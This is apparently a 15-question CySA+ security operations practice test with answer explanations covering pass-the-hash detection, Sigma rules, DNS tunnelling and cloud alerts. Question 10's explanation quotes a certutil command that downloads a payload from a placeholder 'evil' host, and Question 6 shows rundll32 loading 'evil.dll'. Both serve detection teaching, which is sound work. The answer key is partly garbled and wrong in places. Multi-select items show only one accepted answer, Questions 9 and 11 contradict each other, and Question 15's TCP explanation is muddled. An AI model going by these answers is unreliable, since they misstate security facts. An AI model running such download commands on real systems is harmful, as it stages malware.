CS0-003 Security Operations Practice Test 2 — 15 Questions

Question 1

During a threat hunt, an analyst is looking for signs of lateral movement using pass-the-hash. Which three of the following log sources would be most useful for detecting this technique?

Accepted Answer

Sysmon Event ID 3 (network connection). Sysmon Event ID 3 (network connection) is correct because pass-the-hash lateral movement generates outbound SMB/RPC/WinRM connections (e.g., TCP 445, 135, 5985) from the compromised host to remote targets, and Event ID 3 records the source/destination IPs, ports, and the initiating process image, which is essential for spotting anomalous internal connections. Domain controller authentication logs are correct because pass-the-hash produces NTLM authentications (Event ID 4624 with Logon Type 3 and Authentication Package NTLM) on the target/DC, and correlating these with the originating workstation reveals the credential-reuse pattern typical of PtH. Windows Security Event Log Event ID 4624 is correct because it records successful logons with fields such as Logon Type (3 for network), Authentication Package (NTLM), and the account name, allowing the analyst to detect NTLM network logons that should normally use Kerberos. DNS query logs (A) are not directly useful because pass-the-hash uses IP addresses and SMB/RPC rather than DNS resolution for the authentication itself, and Sysmon Event ID 1 (D) shows process creation but not the network authentication traffic that distinguishes PtH from other credential use.

Answer

DNS query logs

Answer

Sysmon Event ID 1 (process creation)

Question 2

An analyst is investigating a potential data exfiltration incident. The analyst observes repeated HTTPS connections to a cloud storage provider from a server that does not normally use that service. Which three additional artifacts would strengthen the case for exfiltration?

Accepted Answer

The data transfer volume is significantly higher than normal for that server. Option A is correct because a significantly higher-than-normal data transfer volume from a server to an external cloud storage provider is a strong indicator of data exfiltration, as large outbound transfers are consistent with stolen data being uploaded. Option B is correct because connections occurring during non-business hours suggest activity outside the server's normal operational baseline, which is a common hallmark of attacker-controlled exfiltration to avoid detection. Option E is correct because using a non-standard port for HTTPS (e.g., 8080 instead of 443) can indicate an attempt to bypass egress filtering or blend malicious traffic into allowed ports, strengthening the exfiltration case. Option C is not marked correct because, while a known malicious IP would be suspicious, the scenario already involves a legitimate cloud storage provider, so this artifact is not one of the three that best strengthen the exfiltration hypothesis here. Option D is not correct because connections occurring only during business hours would actually be less suspicious and would weaken rather than strengthen the case for exfiltration.

Answer

The connections are made to a known malicious IP

Answer

The connections occur during business hours only

Question 3

A SOC analyst receives an alert from the SIEM indicating a high volume of outbound traffic from a single workstation to an IP address in a country where the organization does no business. The alert is based on a rule that triggers when outbound traffic exceeds 1 GB in 5 minutes. Upon investigation, the analyst finds that the workstation is used by a developer who downloaded a large dataset from a cloud storage service. Which action should the analyst take to improve the alert's accuracy without disabling it entirely?

Accepted Answer

Add the destination IP to a whitelist in the SIEM rule.. The alert is a false positive because legitimate activity triggered it. The best approach is to tune the rule to exclude known cloud storage IP addresses or increase the threshold to reduce noise while still detecting true exfiltration.

Answer

Increase the alert threshold to 10 GB in 5 minutes.

Answer

Create a correlation rule that combines this alert with other indicators.

Answer

Disable the alert rule permanently.

Question 4

During a traffic analysis, a security analyst notices repeated TCP SYN packets sent to an internal server from an external IP, but the server never responds with SYN-ACK. The external IP sends a new SYN packet every 30 seconds. What does this behavior most likely indicate?

Accepted Answer

A TCP port scan. A single SYN packet sent every 30 seconds from the same external IP to an internal server, with no completed handshake, is characteristic of a slow or stealthy TCP port scan (e.g., a SYN scan using tools like nmap with timing templates). The scanner is probing which ports are open without completing the three-way handshake, and the 30-second interval is designed to evade threshold-based IDS detection.

Answer

A SYN flood attack

Answer

A misconfigured firewall dropping SYN-ACK packets

Answer

A half-open connection due to network latency

Question 5

A security analyst is reviewing DNS logs and notices that a workstation is making frequent queries to domains with random-looking strings, such as 'a3b9f2d1.example.com'. These domains resolve to different IP addresses each time. Which type of activity is most likely being observed?

Accepted Answer

DNS tunneling. The random-looking subdomains of a fixed domain (example.com) and frequent queries are characteristic of DNS tunneling, where data is encoded in DNS queries to a domain controlled by the attacker. DGA typically generates many distinct second-level domains across different TLDs, not subdomains of the same domain.

Answer

Normal DNS caching behavior

Answer

A misconfigured DNS resolver

Answer

Domain generation algorithm (DGA) usage

Question 6

An analyst is creating a Sigma rule to detect suspicious use of rundll32.exe to execute DLL files from temporary directories. Which TWO fields should the analyst include in the rule to minimize false positives?

Accepted Answer

Process Name: rundll32.exe. Option C is correct because the detection logic must anchor on the process being executed, and specifying Process Name: rundll32.exe ensures the rule only fires when rundll32.exe is the process of interest rather than any other binary. Option E is correct because the suspicious behavior described is loading a DLL from a temporary directory, so Command Line: contains *\Temp\*.dll captures the actual malicious pattern (e.g., rundll32.exe C:\Users\...\AppData\Local\Temp\evil.dll,EntryPoint) and scoping to that path drastically reduces false positives from legitimate DLL executions elsewhere. Option A is not appropriate because file size is not a reliable indicator of malicious DLL loading and would not meaningfully reduce false positives. Option B is not appropriate because explorer.exe is a common parent for many legitimate processes and does not specifically indicate suspicious rundll32.exe behavior. Option D is not appropriate because C:\Windows\System32\rundll32.exe is the normal, expected image path for rundll32.exe, so including it would not help distinguish malicious from benign usage.

Answer

File Size: > 1 MB

Answer

Parent Process: explorer.exe

Answer

Image Path: C:\Windows\System32\rundll32.exe

Question 7

A SOC analyst is investigating an alert from AWS GuardDuty that indicates 'UnauthorizedAccess:EC2/SSHBruteForce'. The analyst reviews the EC2 instance's authentication logs and sees multiple failed SSH login attempts from a single IP address. What initial triage action should the analyst take?

Accepted Answer

Block the source IP address in the security group. The best initial action is to block the source IP address at the security group or network ACL to stop the brute force attack, then investigate further.

Answer

Enable multi-factor authentication for all users

Answer

Remove the instance from the auto-scaling group

Answer

Disable the SSH service on the instance

Question 8

A SOC team is evaluating cloud-native security monitoring tools. Which TWO of the following are AWS services specifically designed for threat detection and security monitoring?

Accepted Answer

AWS GuardDuty. AWS GuardDuty (C) is a managed threat detection service that continuously monitors for malicious activity and unauthorized behavior using machine learning, anomaly detection, and integrated threat intelligence from sources like CloudTrail, VPC Flow Logs, and DNS logs. AWS Security Hub (D) is a security monitoring and posture management service that aggregates and prioritizes findings from GuardDuty, Inspector, Macie, and other AWS services, providing a comprehensive view of security alerts. AWS Lambda (A) is a serverless compute service for running code, not a threat detection tool. AWS CloudTrail (B) is an API activity logging and auditing service that records account activity but does not itself perform threat detection or security monitoring. AWS VPC Flow Logs (E) capture IP traffic metadata for network troubleshooting and analysis, but they are a logging feature rather than a dedicated threat detection service.

Answer

AWS Lambda

Answer

AWS CloudTrail

Answer

AWS VPC Flow Logs

Question 9

A security analyst is configuring a vulnerability scanner to assess internal servers. The goal is to identify missing patches and misconfigurations without impacting system performance. Which scan configuration is most appropriate?

Accepted Answer

Credentialed internal scan. A credentialed internal scan uses valid credentials to log into each server, allowing the scanner to inspect installed patches, registry settings, and configurations deeply. This identifies missing patches and misconfigurations accurately while typically using throttling to avoid performance impact. It is the most appropriate for internal servers.

Answer

Non-credentialed external scan

Answer

Full port scan with vulnerability detection

Answer

Agent-based scan with performance throttling

Question 10

A security analyst is creating a Sigma rule to detect use of the LOLBin 'certutil' for downloading payloads. Which THREE command-line arguments should the rule look for to indicate malicious use?

Accepted Answer

-urlcache. Option A (-urlcache) is correct because certutil's -urlcache argument is the primary switch abused by attackers to retrieve files from HTTP/HTTPS/FTP URLs, effectively turning certutil into a downloader (e.g., certutil -urlcache -split -f http://evil/payload.exe). Option B (-split) is correct because it is commonly combined with -urlcache to save the retrieved content to disk, and its presence alongside -urlcache is a strong indicator of payload download activity. Option D (-decode) is correct because attackers use certutil -decode to Base64-decode a previously downloaded or dropped .b64/.txt file into an executable payload, a well-known LOLBin technique for staging malware. Option C (-encode) is not marked correct because encoding is a legitimate certificate utility function and is less indicative of the download-and-execute pattern this rule targets. Option E (-verify) is not marked correct because -verify is a normal certificate validation operation with no meaningful association to payload downloading.

Answer

-encode

Answer

-verify

Question 11

An organization wants to perform vulnerability scanning on internal servers that contain sensitive data. The scanning team is concerned about causing service disruptions. Which type of scan should be recommended to minimize risk?

Accepted Answer

Non-credentialed scan. Non-credentialed scans are less intrusive and less likely to cause service disruptions because they do not log into the target systems.

Answer

Agent-based scan

Answer

Credentialed scan with safe checks enabled

Answer

External scan from the internet

Question 12

A security analyst is investigating an alert from Azure Sentinel that indicates a user account has logged in from a geographically improbable location. The analyst needs to determine if this is a true positive. Which TWO additional data sources should the analyst examine? (Choose TWO.)

Accepted Answer

VPN logs to see if the user connected via a VPN. To determine if a geographically improbable login is a true positive, the analyst should examine: (1) authentication logs to verify the source IP and timestamp, and (2) VPN logs to see if the user connected via a VPN, which would explain the unusual location. Threat intelligence feeds are useful for assessing IP reputation but do not directly explain the user's behavior. Device compliance and cloud audit logs are less relevant.

Answer

Cloud audit logs for the user's recent activity

Answer

Threat intelligence feeds for the source IP reputation

Answer

Device compliance status of the user's endpoint

Question 13

A security analyst is creating a SIEM correlation rule to detect lateral movement using pass-the-hash attacks. The rule should trigger when multiple successful logins occur from a single source to multiple destinations using NTLM authentication. Which THREE log sources are essential for this rule? (Choose THREE.)

Accepted Answer

Windows Event ID 4776 (NTLM authentication) logs from domain controllers. Windows Event IDs 4624 (successful logon) and 4776 (NTLM authentication) are key. Authentication logs on domain controllers also capture NTLM events.

Answer

DNS logs from the internal DNS server

Answer

Firewall logs showing outbound connections

Question 14

An EDR alert shows that a process named svchost.exe with parent process cmd.exe executed a PowerShell command to create a scheduled task. The scheduled task runs a script from a remote share. What should the analyst suspect?

Accepted Answer

Persistence mechanism using a LOLBin. The parent-child relationship is abnormal: svchost.exe should be spawned by services.exe, not cmd.exe. The persistence mechanism abuses legitimate Windows tools—PowerShell and Scheduled Tasks (schtasks.exe)—as living-off-the-land binaries (LOLBins), not svchost.exe itself.

Answer

Lateral movement via scheduled tasks

Answer

Normal administrative activity

Answer

Memory injection attack

Question 15

An analyst is reviewing a packet capture and notices a TCP connection with the following sequence: SYN, SYN-ACK, ACK, SYN, ACK. What does this pattern indicate?

Accepted Answer

TCP session hijacking or MITM attempt. The sequence SYN, SYN-ACK, ACK completes a normal three-way handshake, establishing a legitimate TCP session. The subsequent SYN, ACK without a preceding SYN-ACK indicates an attempt to inject a new SYN into the existing session, which is characteristic of TCP session hijacking or a man-in-the-middle (MITM) attack. In such an attack, the adversary spoofs packets to desynchronize the connection and take over the session, often by sending a SYN with the expected sequence number to elicit an ACK from the victim. This pattern is not typical of normal TCP operations, where a SYN after a handshake would be a reset or a new connection attempt, but here it is part of the same flow.

Answer

TCP SYN flood attack

Answer

TCP port scan

Answer

Normal TCP retransmission due to packet loss